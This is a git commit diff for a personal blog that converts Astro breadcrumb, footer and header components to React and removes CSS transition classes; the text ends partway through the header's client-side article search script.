统一组件使用astro,优化css样式,新增文章,优化文章格式

This commit is contained in:
lsy 2025-04-19 16:19:39 +08:00
parent 57d406c277
commit 0d48cc8591
173 changed files with 10812 additions and 3413 deletions

7107
package-lock.json generated

File diff suppressed because it is too large Load Diff

View File

@ -1,69 +0,0 @@
---
// 面包屑导航组件
// 接收当前页面类型、路径段和标签过滤器作为参数
interface Breadcrumb {
name: string;
path: string;
}
export interface Props {
pageType: 'articles' | 'article' | 'timeline'; // 页面类型
pathSegments?: string[]; // 路径段数组
tagFilter?: string; // 标签过滤器
articleTitle?: string; // 文章标题(仅在文章详情页使用)
}
const { pageType, pathSegments = [], tagFilter = '', articleTitle = '' } = Astro.props;
// 将路径段转换为面包屑对象
const breadcrumbs: Breadcrumb[] = pathSegments
.filter(segment => segment.trim() !== '')
.map((segment, index, array) => {
const path = array.slice(0, index + 1).join('/');
return { name: segment, path };
});
---
<div class="flex items-center text-sm">
<!-- 文章列表链接 -->
<a href="/articles" class="text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 flex items-center">
<svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4 mr-1" viewBox="0 0 20 20" fill="currentColor">
<path fill-rule="evenodd" d="M4 4a2 2 0 012-2h4.586A2 2 0 0112 2.586L15.414 6A2 2 0 0116 7.414V16a2 2 0 01-2 2H6a2 2 0 01-2-2V4zm2 6a1 1 0 011-1h6a1 1 0 110 2H7a1 1 0 01-1-1zm1 3a1 1 0 100 2h6a1 1 0 100-2H7z" clip-rule="evenodd" />
</svg>
文章
</a>
{/* 标签过滤 */}
{tagFilter && (
<>
<span class="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
<span class="text-secondary-600 dark:text-secondary-400 flex items-center">
<svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4 mr-1" viewBox="0 0 20 20" fill="currentColor">
<path fill-rule="evenodd" d="M17.707 9.293a1 1 0 010 1.414l-7 7a1 1 0 01-1.414 0l-7-7A.997.997 0 012 10V5a3 3 0 013-3h5c.256 0 .512.098.707.293l7 7zM5 6a1 1 0 100-2 1 1 0 000 2z" clip-rule="evenodd" />
</svg>
{tagFilter}
</span>
</>
)}
{/* 目录路径 */}
{!tagFilter && breadcrumbs.map((crumb: Breadcrumb, index: number) => {
const crumbPath = breadcrumbs.slice(0, index + 1).map((b: Breadcrumb) => b.name).join('/');
return (
<span>
<span class="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
<a href={`/articles?path=${encodeURIComponent(crumbPath)}`} class="text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400">{crumb.name}</a>
</span>
);
})}
{/* 文章标题 */}
{pageType === 'article' && articleTitle && (
<>
<span class="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
<span class="text-secondary-600 dark:text-secondary-400 truncate max-w-[150px] sm:max-w-[300px]">{articleTitle}</span>
</>
)}
</div>

View File

@ -0,0 +1,72 @@
import React from 'react';
interface Breadcrumb {
name: string;
path: string;
}
export interface BreadcrumbProps {
pageType: 'articles' | 'article' | 'timeline'; // 页面类型
pathSegments?: string[]; // 路径段数组
tagFilter?: string; // 标签过滤器
articleTitle?: string; // 文章标题(仅在文章详情页使用)
}
export function Breadcrumb({
pageType,
pathSegments = [],
tagFilter = '',
articleTitle = ''
}: BreadcrumbProps) {
// 将路径段转换为面包屑对象
const breadcrumbs: Breadcrumb[] = pathSegments
.filter(segment => segment.trim() !== '')
.map((segment, index, array) => {
const path = array.slice(0, index + 1).join('/');
return { name: segment, path };
});
return (
<div className="flex items-center text-sm">
{/* 文章列表链接 */}
<a href="/articles" className="text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 flex items-center">
<svg xmlns="http://www.w3.org/2000/svg" className="h-4 w-4 mr-1" viewBox="0 0 20 20" fill="currentColor">
<path fillRule="evenodd" d="M4 4a2 2 0 012-2h4.586A2 2 0 0112 2.586L15.414 6A2 2 0 0116 7.414V16a2 2 0 01-2 2H6a2 2 0 01-2-2V4zm2 6a1 1 0 011-1h6a1 1 0 110 2H7a1 1 0 01-1-1zm1 3a1 1 0 100 2h6a1 1 0 100-2H7z" clipRule="evenodd" />
</svg>
</a>
{/* 标签过滤 */}
{tagFilter && (
<>
<span className="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
<span className="text-secondary-600 dark:text-secondary-400 flex items-center">
<svg xmlns="http://www.w3.org/2000/svg" className="h-4 w-4 mr-1" viewBox="0 0 20 20" fill="currentColor">
<path fillRule="evenodd" d="M17.707 9.293a1 1 0 010 1.414l-7 7a1 1 0 01-1.414 0l-7-7A.997.997 0 012 10V5a3 3 0 013-3h5c.256 0 .512.098.707.293l7 7zM5 6a1 1 0 100-2 1 1 0 000 2z" clipRule="evenodd" />
</svg>
{tagFilter}
</span>
</>
)}
{/* 目录路径 */}
{!tagFilter && breadcrumbs.map((crumb: Breadcrumb, index: number) => {
const crumbPath = breadcrumbs.slice(0, index + 1).map((b: Breadcrumb) => b.name).join('/');
return (
<span key={`crumb-${index}`}>
<span className="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
<a href={`/articles?path=${encodeURIComponent(crumbPath)}`} className="text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400">{crumb.name}</a>
</span>
);
})}
{/* 文章标题 */}
{pageType === 'article' && articleTitle && (
<>
<span className="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
<span className="text-secondary-600 dark:text-secondary-400 truncate max-w-[150px] sm:max-w-[300px]">{articleTitle}</span>
</>
)}
</div>
);
}

View File

@ -100,7 +100,7 @@ export const Countdown: React.FC<CountdownProps> = ({ targetDate, className = ''
const TimeBox = ({ value, label }: { value: number; label: string }) => (
<div className="text-center px-4">
<div className="text-4xl font-light transition-all duration-300">
<div className="text-4xl font-light">
{value.toString().padStart(2, '0')}
</div>
<div className="text-sm mt-1 text-gray-500 dark:text-gray-400">{label}</div>

View File

@ -190,7 +190,7 @@ const DoubanCollection: React.FC<DoubanCollectionProps> = ({ type, doubanId, cla
</div>
<button
onClick={() => fetchData()}
className="mt-3 px-4 py-2 bg-red-100 dark:bg-red-800/30 hover:bg-red-200 dark:hover:bg-red-800/50 text-red-700 dark:text-red-300 rounded transition-colors"
className="mt-3 px-4 py-2 bg-red-100 dark:bg-red-800/30 hover:bg-red-200 dark:hover:bg-red-800/50 text-red-700 dark:text-red-300 rounded"
>
</button>
@ -227,14 +227,14 @@ const DoubanCollection: React.FC<DoubanCollectionProps> = ({ type, doubanId, cla
{items.map((item, index) => (
<div
key={`${item.title}-${index}`}
className="mb-6 bg-white dark:bg-gray-800 rounded-lg shadow-md overflow-hidden hover:shadow-lg transition-shadow duration-300"
className="mb-6 bg-white dark:bg-gray-800 rounded-lg shadow-md overflow-hidden hover:shadow-lg"
>
<a href={item.link} target="_blank" rel="noopener noreferrer" className="block">
<div className="relative pb-[140%] overflow-hidden">
<img
src={item.imageUrl}
alt={item.title}
className="absolute inset-0 w-full h-full object-cover transition-transform duration-300 hover:scale-105"
className="absolute inset-0 w-full h-full object-cover hover:scale-105"
loading="lazy"
onError={(e) => {
const target = e.target as HTMLImageElement;
@ -263,7 +263,7 @@ const DoubanCollection: React.FC<DoubanCollectionProps> = ({ type, doubanId, cla
<button
onClick={() => handlePageChange(pagination.current - 1)}
disabled={!pagination.hasPrev || pagination.current <= 1 || isPageChanging}
className={`px-4 py-2 rounded transition-colors ${!pagination.hasPrev || pagination.current <= 1 || isPageChanging
className={`px-4 py-2 rounded ${!pagination.hasPrev || pagination.current <= 1 || isPageChanging
? 'bg-secondary-200 dark:bg-secondary-700 text-secondary-500 dark:text-secondary-500 cursor-not-allowed'
: 'bg-primary-600 text-white hover:bg-primary-700 dark:bg-primary-700 dark:hover:bg-primary-600'}`}
aria-label="上一页"
@ -286,7 +286,7 @@ const DoubanCollection: React.FC<DoubanCollectionProps> = ({ type, doubanId, cla
<button
onClick={() => handlePageChange(pagination.current + 1)}
disabled={!pagination.hasNext || pagination.current >= pagination.total || isPageChanging}
className={`px-4 py-2 rounded transition-colors ${!pagination.hasNext || pagination.current >= pagination.total || isPageChanging
className={`px-4 py-2 rounded ${!pagination.hasNext || pagination.current >= pagination.total || isPageChanging
? 'bg-secondary-200 dark:bg-secondary-700 text-secondary-500 dark:text-secondary-500 cursor-not-allowed'
: 'bg-primary-600 text-white hover:bg-primary-700 dark:bg-primary-700 dark:hover:bg-primary-600'}`}
aria-label="下一页"

View File

@ -1,63 +0,0 @@
---
interface Props {
icp?: string;
psbIcp?: string;
psbIcpUrl?: string;
}
const {
icp = "",
psbIcp = "",
psbIcpUrl = "http://www.beian.gov.cn/portal/registerSystemInfo",
} = Astro.props;
const currentYear = new Date().getFullYear();
---
<footer class="w-full py-6 px-4 bg-gray-50 dark:bg-dark-bg border-t border-gray-200 dark:border-gray-800 mt-auto">
<div class="max-w-5xl mx-auto flex flex-col items-center justify-center space-y-4">
<div class="flex flex-wrap items-center justify-center gap-4 text-sm text-gray-600 dark:text-gray-400">
{icp && (
<a
href="https://beian.miit.gov.cn/"
target="_blank"
rel="noopener noreferrer"
class="hover:text-primary-600 dark:hover:text-primary-400 transition-colors duration-200"
aria-label="工信部备案信息"
>
{icp}
</a>
)}
{psbIcp && (
<a
href={psbIcpUrl}
target="_blank"
rel="noopener noreferrer"
class="flex items-center hover:text-primary-600 dark:hover:text-primary-400 transition-colors duration-200"
aria-label="公安部备案信息"
>
<img src="/images/national.png" alt="公安备案" class="h-4 mr-1" width="14" height="16" loading="lazy" />
{psbIcp}
</a>
)}
</div>
<div class="text-sm text-gray-500 dark:text-gray-500 font-light flex flex-wrap items-center justify-center gap-2">
<a href="https://blog.lsy22.com" class="hover:text-primary-600 dark:hover:text-primary-400 transition-colors duration-200">
© {currentYear} New Echoes. All rights reserved.
</a>
<span aria-hidden="true" class="hidden sm:inline">·</span>
<a
href="/sitemap-index.xml"
target="_blank"
rel="noopener noreferrer"
class="hover:text-primary-600 dark:hover:text-primary-400 transition-colors duration-200"
aria-label="网站地图"
>
Sitemap
</a>
</div>
</div>
</footer>

65
src/components/Footer.tsx Normal file
View File

@ -0,0 +1,65 @@
import React from 'react';
interface FooterProps {
icp?: string;
psbIcp?: string;
psbIcpUrl?: string;
}
export function Footer({
icp = "",
psbIcp = "",
psbIcpUrl = "http://www.beian.gov.cn/portal/registerSystemInfo",
}: FooterProps) {
const currentYear = new Date().getFullYear();
return (
<footer className="w-full py-6 px-4 bg-gray-50 dark:bg-dark-bg border-t border-gray-200 dark:border-gray-800 mt-auto">
<div className="max-w-5xl mx-auto flex flex-col items-center justify-center space-y-4">
<div className="flex flex-wrap items-center justify-center gap-4 text-sm text-gray-600 dark:text-gray-400">
{icp && (
<a
href="https://beian.miit.gov.cn/"
target="_blank"
rel="noopener noreferrer"
className="hover:text-primary-600 dark:hover:text-primary-400"
aria-label="工信部备案信息"
>
{icp}
</a>
)}
{psbIcp && (
<a
href={psbIcpUrl}
target="_blank"
rel="noopener noreferrer"
className="flex items-center hover:text-primary-600 dark:hover:text-primary-400"
aria-label="公安部备案信息"
>
<img src="/images/national.png" alt="公安备案" className="h-4 mr-1" width="14" height="16" loading="lazy" />
{psbIcp}
</a>
)}
</div>
<div className="text-sm text-gray-500 dark:text-gray-500 font-light flex flex-wrap items-center justify-center gap-2">
<a href="https://blog.lsy22.com" className="hover:text-primary-600 dark:hover:text-primary-400">
© {currentYear} New Echoes. All rights reserved.
</a>
<span aria-hidden="true" className="hidden sm:inline">·</span>
<a
href="/sitemap-index.xml"
target="_blank"
rel="noopener noreferrer"
className="hover:text-primary-600 dark:hover:text-primary-400"
aria-label="网站地图"
>
Sitemap
</a>
</div>
</div>
</footer>
);
}

View File

@ -284,7 +284,7 @@ const GitProjectCollection: React.FC<GitProjectCollectionProps> = ({
</div>
<button
onClick={() => fetchData(pagination.current)}
className="mt-3 px-4 py-2 bg-red-100 dark:bg-red-800/30 hover:bg-red-200 dark:hover:bg-red-800/50 text-red-700 dark:text-red-300 rounded transition-colors"
className="mt-3 px-4 py-2 bg-red-100 dark:bg-red-800/30 hover:bg-red-200 dark:hover:bg-red-800/50 text-red-700 dark:text-red-300 rounded"
>
</button>
@ -331,10 +331,10 @@ const GitProjectCollection: React.FC<GitProjectCollectionProps> = ({
columnClassName="pl-4 bg-clip-padding"
>
{projects.map((project, index) => (
<div key={`${project.platform}-${project.owner}-${project.name}-${index}`} className="mb-4 overflow-hidden rounded-xl border border-gray-200 dark:border-gray-700 bg-white dark:bg-gray-800 hover:shadow-xl hover:-translate-y-1 transition-all duration-300 shadow-lg">
<div key={`${project.platform}-${project.owner}-${project.name}-${index}`} className="mb-4 overflow-hidden rounded-xl border border-gray-200 dark:border-gray-700 bg-white dark:bg-gray-800 hover:shadow-xl hover:-translate-y-1 shadow-lg">
<a href={project.url} target="_blank" rel="noopener noreferrer" className="block p-5">
<div className="flex items-start">
<div className="w-10 h-10 flex-shrink-0 flex items-center justify-center rounded-lg bg-primary-100 dark:bg-primary-900/30 text-primary-600 dark:text-primary-400 group-hover:bg-primary-200 dark:group-hover:bg-primary-800/50 transition-colors">
<div className="w-10 h-10 flex-shrink-0 flex items-center justify-center rounded-lg bg-primary-100 dark:bg-primary-900/30 text-primary-600 dark:text-primary-400 group-hover:bg-primary-200 dark:group-hover:bg-primary-800/50">
{getPlatformIcon(project.platform as GitPlatform)}
</div>
<div className="ml-3 flex-1">
@ -353,7 +353,7 @@ const GitProjectCollection: React.FC<GitProjectCollectionProps> = ({
<span className="text-sm text-gray-600 dark:text-gray-400 truncate">{project.owner}</span>
</div>
<h3 className="font-bold text-base text-gray-800 dark:text-gray-100 group-hover:text-primary-700 dark:group-hover:text-primary-300 transition-colors line-clamp-1 mt-2">{project.name}</h3>
<h3 className="font-bold text-base text-gray-800 dark:text-gray-100 group-hover:text-primary-700 dark:group-hover:text-primary-300 line-clamp-1 mt-2">{project.name}</h3>
<div className="h-12 mb-3">
{project.description ? (
@ -406,7 +406,7 @@ const GitProjectCollection: React.FC<GitProjectCollectionProps> = ({
<button
onClick={() => handlePageChange(pagination.current - 1)}
disabled={!pagination.hasPrev || pagination.current <= 1 || isPageChanging}
className={`px-4 py-2 rounded transition-colors ${!pagination.hasPrev || pagination.current <= 1 || isPageChanging
className={`px-4 py-2 rounded ${!pagination.hasPrev || pagination.current <= 1 || isPageChanging
? 'bg-secondary-200 dark:bg-secondary-700 text-secondary-500 dark:text-secondary-500 cursor-not-allowed'
: 'bg-primary-600 text-white hover:bg-primary-700 dark:bg-primary-700 dark:hover:bg-primary-600'}`}
aria-label="上一页"
@ -429,7 +429,7 @@ const GitProjectCollection: React.FC<GitProjectCollectionProps> = ({
<button
onClick={() => handlePageChange(pagination.current + 1)}
disabled={!pagination.hasNext || pagination.current >= pagination.total || isPageChanging}
className={`px-4 py-2 rounded transition-colors ${!pagination.hasNext || pagination.current >= pagination.total || isPageChanging
className={`px-4 py-2 rounded ${!pagination.hasNext || pagination.current >= pagination.total || isPageChanging
? 'bg-secondary-200 dark:bg-secondary-700 text-secondary-500 dark:text-secondary-500 cursor-not-allowed'
: 'bg-primary-600 text-white hover:bg-primary-700 dark:bg-primary-700 dark:hover:bg-primary-600'}`}
aria-label="下一页"

View File

@ -1,582 +0,0 @@
---
import { SITE_NAME, NAV_LINKS } from '@/consts.ts';
import { ThemeToggle } from './ThemeToggle';
// 获取当前路径
const currentPath = Astro.url.pathname;
// 移除结尾的斜杠以统一路径格式
const normalizedPath = currentPath.endsWith('/') ? currentPath.slice(0, -1) : currentPath;
// 定义导航链接
---
<header class="fixed w-full top-0 z-50 transition-all duration-300" id="main-header">
<div class="absolute inset-0 bg-gray-50/95 dark:bg-dark-bg/95 transition-all duration-300" id="header-bg"></div>
<nav class="relative">
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<div class="flex justify-between h-16">
<!-- Logo 部分 -->
<div class="flex items-center">
<a href="/" class="text-xl md:text-2xl font-bold tracking-tight transition-all duration-300 ease-in-out bg-gradient-to-r from-primary-600 to-primary-400 bg-clip-text text-transparent hover:from-primary-500 hover:to-primary-300 dark:from-primary-400 dark:to-primary-200 dark:hover:from-primary-300 dark:hover:to-primary-100">
{SITE_NAME}
</a>
</div>
<!-- 导航链接 -->
<div class="hidden md:flex md:items-center md:space-x-8">
<!-- 桌面端搜索框 -->
<div class="relative">
<input
type="text"
id="desktop-search"
class="w-48 pl-10 pr-4 py-1.5 rounded-full text-sm text-gray-700 dark:text-gray-200 placeholder-gray-500 dark:placeholder-gray-400 bg-gray-50/80 dark:bg-gray-800/60 border border-gray-200/60 dark:border-gray-700/40 focus:outline-none focus:ring-1 focus:ring-primary-400 dark:focus:ring-primary-500 focus:bg-white dark:focus:bg-gray-800 focus:border-primary-300 dark:focus:border-primary-600 transition-all duration-300"
placeholder="搜索文章..."
/>
<div class="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none">
<svg class="h-4 w-4 text-gray-400 dark:text-gray-500" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
</svg>
</div>
<!-- 搜索结果容器(默认隐藏) -->
<div id="desktop-search-results" class="absolute top-full left-0 right-0 mt-2 max-h-80 overflow-y-auto rounded-lg bg-white/95 dark:bg-gray-800/95 shadow-md border border-gray-200/70 dark:border-gray-700/70 backdrop-blur-sm z-50 hidden">
<!-- 结果将通过JS动态填充 -->
<div class="p-4 text-center text-gray-500 dark:text-gray-400" id="desktop-search-message">
<p>输入关键词开始搜索</p>
</div>
<ul class="divide-y divide-gray-200/70 dark:divide-gray-700/70" id="desktop-search-list"></ul>
</div>
</div>
{NAV_LINKS.map(link => (
<a
href={link.href}
class:list={[
'inline-flex items-center px-1 pt-1 text-sm font-medium transition-colors duration-200',
normalizedPath === (link.href === '/' ? '' : link.href)
? 'text-primary-600 dark:text-primary-400 border-b-2 border-primary-600 dark:border-primary-400'
: 'text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 hover:border-b-2 hover:border-primary-300 dark:hover:border-primary-700'
]}
>
{link.text}
</a>
))}
<ThemeToggle client:load />
</div>
<!-- 移动端菜单按钮 -->
<div class="flex items-center md:hidden">
<!-- 移动端搜索按钮 -->
<button
type="button"
id="mobile-search-button"
class="inline-flex items-center justify-center p-2 rounded-md text-secondary-400 dark:text-secondary-500 hover:text-secondary-500 dark:hover:text-secondary-400 hover:bg-secondary-100 dark:hover:bg-dark-card focus:outline-none focus:ring-2 focus:ring-inset focus:ring-primary-500 mr-2 transition-colors"
aria-expanded="false"
aria-label="搜索"
>
<span class="sr-only">搜索</span>
<svg class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
</svg>
</button>
<button
type="button"
class="inline-flex items-center justify-center p-2 rounded-md text-secondary-400 dark:text-secondary-500 hover:text-secondary-500 dark:hover:text-secondary-400 hover:bg-secondary-100 dark:hover:bg-dark-card focus:outline-none focus:ring-2 focus:ring-inset focus:ring-primary-500 transition-colors"
id="mobile-menu-button"
aria-expanded="false"
aria-label="打开菜单"
>
<span class="sr-only">打开菜单</span>
<svg class="h-6 w-6 block" id="menu-open-icon" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 6h16M4 12h16M4 18h16" />
</svg>
<svg class="h-6 w-6 hidden" id="menu-close-icon" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12" />
</svg>
</button>
</div>
</div>
</div>
<!-- 移动端搜索面板 -->
<div id="mobile-search-panel" class="hidden md:hidden fixed inset-x-0 top-16 p-4 bg-white dark:bg-gray-800 shadow-md z-50 border-t border-gray-200 dark:border-gray-700">
<div class="relative">
<input
type="text"
id="mobile-search"
class="w-full pl-10 pr-10 py-2 rounded-full text-sm text-gray-700 dark:text-gray-200 placeholder-gray-500 dark:placeholder-gray-400 bg-gray-50/80 dark:bg-gray-800/60 border border-gray-200/60 dark:border-gray-700/40 focus:outline-none focus:ring-1 focus:ring-primary-400 dark:focus:ring-primary-500 focus:bg-white dark:focus:bg-gray-800 focus:border-primary-300 dark:focus:border-primary-600 transition-all duration-300"
placeholder="搜索文章..."
/>
<div class="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none">
<svg class="h-5 w-5 text-gray-400 dark:text-gray-500" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
</svg>
</div>
<button
id="mobile-search-close"
class="absolute inset-y-0 right-0 pr-3 flex items-center text-gray-400 hover:text-gray-600 dark:hover:text-gray-300"
aria-label="关闭搜索"
>
<svg class="h-5 w-5" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12" />
</svg>
</button>
</div>
<!-- 移动端搜索结果 -->
<div id="mobile-search-results" class="mt-3 max-h-80 overflow-y-auto rounded-lg bg-white/95 dark:bg-gray-800/95 shadow-md border border-gray-200/70 dark:border-gray-700/70 backdrop-blur-sm hidden">
<!-- 结果将通过JS动态填充 -->
<div class="p-4 text-center text-gray-500 dark:text-gray-400" id="mobile-search-message">
<p>输入关键词开始搜索</p>
</div>
<ul class="divide-y divide-gray-200/70 dark:divide-gray-700/70" id="mobile-search-list"></ul>
</div>
</div>
<!-- 移动端菜单 -->
<div class="hidden md:hidden fixed inset-x-0 top-16 z-40" id="mobile-menu">
<div id="mobile-menu-bg">
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-2">
<div class="grid gap-1">
{NAV_LINKS.map(link => (
<a
href={link.href}
class:list={[
'flex items-center px-3 py-3 rounded-lg text-base font-medium transition-all duration-200 ease-in-out',
normalizedPath === (link.href === '/' ? '' : link.href)
? 'text-white bg-primary-600 dark:bg-primary-500 shadow-sm'
: 'text-gray-700 dark:text-gray-200 hover:bg-gray-100 dark:hover:bg-gray-800/70'
]}
>
{link.text}
</a>
))}
<div class="mt-2 pt-3 border-t border-gray-200 dark:border-gray-700 flex items-center justify-between cursor-pointer hover:bg-gray-100 dark:hover:bg-gray-800/70 rounded-lg px-3 py-2 transition-colors duration-200" id="theme-toggle-container">
<span class="text-sm font-medium text-gray-600 dark:text-gray-300">切换主题</span>
<ThemeToggle client:load />
</div>
</div>
</div>
</div>
</div>
</nav>
</header>
<style>
#header-bg {
opacity: 1;
backdrop-filter: blur(0);
transition: all 0.5s ease;
}
#header-bg.scrolled {
backdrop-filter: blur(6px);
background: rgba(249, 250, 251, 0.8);
box-shadow:
0 1px 2px rgba(0, 0, 0, 0.04),
0 2px 4px rgba(0, 0, 0, 0.04),
0 4px 8px rgba(0, 0, 0, 0.04);
}
:global([data-theme="dark"]) #header-bg.scrolled {
background: rgba(15, 23, 42, 0.8);
box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.3), 0 2px 4px -1px rgba(0, 0, 0, 0.2);
}
/* 移动端菜单样式 */
#mobile-menu {
/* 移除过渡效果,确保菜单内容立即显示 */
opacity: 1;
transform: translateY(0);
max-height: calc(100vh - 4rem);
overflow-y: auto;
/* 确保子元素不受过渡效果影响 */
contain: layout;
}
/* 移动端菜单背景 */
#mobile-menu-bg {
/* 直接应用高斯模糊,不使用过渡效果 */
-webkit-backdrop-filter: blur(6px);
backdrop-filter: blur(6px);
background: rgba(249, 250, 251, 0.8);
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.04);
/* 确保高斯模糊立即应用 */
will-change: backdrop-filter;
}
:global([data-theme="dark"]) #mobile-menu-bg {
background: rgba(15, 23, 42, 0.8);
box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.3);
}
/* 搜索面板动画 */
#mobile-search-panel.show {
animation: slide-down 0.2s ease-out forwards;
}
@keyframes slide-down {
0% {
opacity: 0;
transform: translateY(-10px);
}
100% {
opacity: 1;
transform: translateY(0);
}
}
</style>
<script>
// 确保脚本适用于视图转换
function initHeader() {
const header = document.getElementById('header-bg');
const scrollThreshold = 50;
function updateHeaderBackground() {
if (window.scrollY > scrollThreshold) {
header?.classList.add('scrolled');
} else {
header?.classList.remove('scrolled');
}
}
// 初始检查
updateHeaderBackground();
// 添加滚动事件监听
window.addEventListener('scroll', updateHeaderBackground);
// 移动端菜单逻辑
const mobileMenuButton = document.getElementById('mobile-menu-button');
const mobileMenu = document.getElementById('mobile-menu');
const menuOpenIcon = document.getElementById('menu-open-icon');
const menuCloseIcon = document.getElementById('menu-close-icon');
if (mobileMenuButton && mobileMenu && menuOpenIcon && menuCloseIcon) {
mobileMenuButton.addEventListener('click', () => {
const expanded = mobileMenuButton.getAttribute('aria-expanded') === 'true';
// 切换菜单状态
mobileMenuButton.setAttribute('aria-expanded', (!expanded).toString());
if (expanded) {
// 直接隐藏菜单,不使用过渡效果
mobileMenu.classList.add('hidden');
} else {
// 直接显示菜单,不使用过渡效果
mobileMenu.classList.remove('hidden');
}
// 切换图标
menuOpenIcon.classList.toggle('hidden');
menuCloseIcon.classList.toggle('hidden');
});
}
// 移动端主题切换容器点击处理
const themeToggleContainer = document.getElementById('theme-toggle-container');
if (themeToggleContainer) {
themeToggleContainer.addEventListener('click', (e) => {
const target = e.target as HTMLElement;
const themeToggleButton = themeToggleContainer.querySelector('[role="button"]');
// 如果点击的不是主题切换按钮本身,而是容器或文本
if (themeToggleButton instanceof HTMLElement && target !== themeToggleButton && !themeToggleButton.contains(target)) {
// 手动触发主题切换按钮的点击
themeToggleButton.click();
}
});
}
// 移动端搜索按钮
const mobileSearchButton = document.getElementById('mobile-search-button');
const mobileSearchPanel = document.getElementById('mobile-search-panel');
const mobileSearch = document.getElementById('mobile-search');
const mobileSearchClose = document.getElementById('mobile-search-close');
if (mobileSearchButton && mobileSearchPanel) {
mobileSearchButton.addEventListener('click', () => {
mobileSearchPanel.classList.remove('hidden');
mobileSearchPanel.classList.add('show');
if (mobileSearch) mobileSearch.focus();
});
if (mobileSearchClose) {
mobileSearchClose.addEventListener('click', () => {
mobileSearchPanel.classList.add('hidden');
mobileSearchPanel.classList.remove('show');
});
}
}
}
// 搜索功能逻辑
function initSearch() {
// 搜索节流函数
function debounce<T extends (...args: any[]) => void>(func: T, wait: number): (...args: Parameters<T>) => void {
let timeout: ReturnType<typeof setTimeout> | undefined;
return function(this: any, ...args: Parameters<T>): void {
clearTimeout(timeout);
timeout = setTimeout(() => func.apply(this, args), wait);
};
}
// 获取DOM元素
const desktopSearch = document.getElementById('desktop-search');
const desktopResults = document.getElementById('desktop-search-results');
const desktopList = document.getElementById('desktop-search-list');
const desktopMessage = document.getElementById('desktop-search-message');
const mobileSearch = document.getElementById('mobile-search');
const mobileResults = document.getElementById('mobile-search-results');
const mobileList = document.getElementById('mobile-search-list');
const mobileMessage = document.getElementById('mobile-search-message');
// 文章对象的接口定义
interface Article {
id: string;
title: string;
date: string | Date;
summary?: string;
tags?: string[];
image?: string;
content?: string;
}
let articles: Article[] = [];
let isArticlesLoaded = false;
// 获取文章数据
async function fetchArticles() {
if (isArticlesLoaded && articles.length > 0) return;
try {
const response = await fetch('/api/search');
if (!response.ok) {
throw new Error('获取文章数据失败');
}
articles = await response.json();
isArticlesLoaded = true;
} catch (error) {
console.error('获取文章失败:', error);
}
}
// 高亮文本中的匹配部分
function highlightText(text: string, query: string): string {
if (!text || !query.trim()) return text;
// 转义正则表达式中的特殊字符
const escapedQuery = query.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
const regex = new RegExp(`(${escapedQuery})`, 'gi');
return text.replace(regex, '<mark class="bg-yellow-100 dark:bg-yellow-900/30 text-gray-900 dark:text-gray-100 px-0.5 rounded">$1</mark>');
}
// 搜索文章
function searchArticles(query: string, resultsList: HTMLElement, resultsMessage: HTMLElement) {
if (!query.trim()) {
resultsList.innerHTML = '';
resultsMessage.textContent = '输入关键词开始搜索';
resultsMessage.style.display = 'block';
return;
}
if (articles.length === 0) {
resultsMessage.textContent = '正在加载数据...';
resultsMessage.style.display = 'block';
return;
}
const lowerQuery = query.toLowerCase();
// 过滤并排序结果
const filteredArticles = articles
.filter((article: Article) => {
const title = article.title.toLowerCase();
const tags = article.tags ? article.tags.map((tag: string) => tag.toLowerCase()) : [];
const summary = article.summary ? article.summary.toLowerCase() : '';
const content = article.content ? article.content.toLowerCase() : '';
return title.includes(lowerQuery) ||
tags.some((tag: string) => tag.includes(lowerQuery)) ||
summary.includes(lowerQuery) ||
content.includes(lowerQuery);
})
.sort((a: Article, b: Article) => {
// 标题匹配优先
const aTitle = a.title.toLowerCase();
const bTitle = b.title.toLowerCase();
if (aTitle.includes(lowerQuery) && !bTitle.includes(lowerQuery)) {
return -1;
}
if (!aTitle.includes(lowerQuery) && bTitle.includes(lowerQuery)) {
return 1;
}
// 内容匹配次之
const aContent = a.content ? a.content.toLowerCase() : '';
const bContent = b.content ? b.content.toLowerCase() : '';
if (aContent.includes(lowerQuery) && !bContent.includes(lowerQuery)) {
return -1;
}
if (!aContent.includes(lowerQuery) && bContent.includes(lowerQuery)) {
return 1;
}
// 日期排序
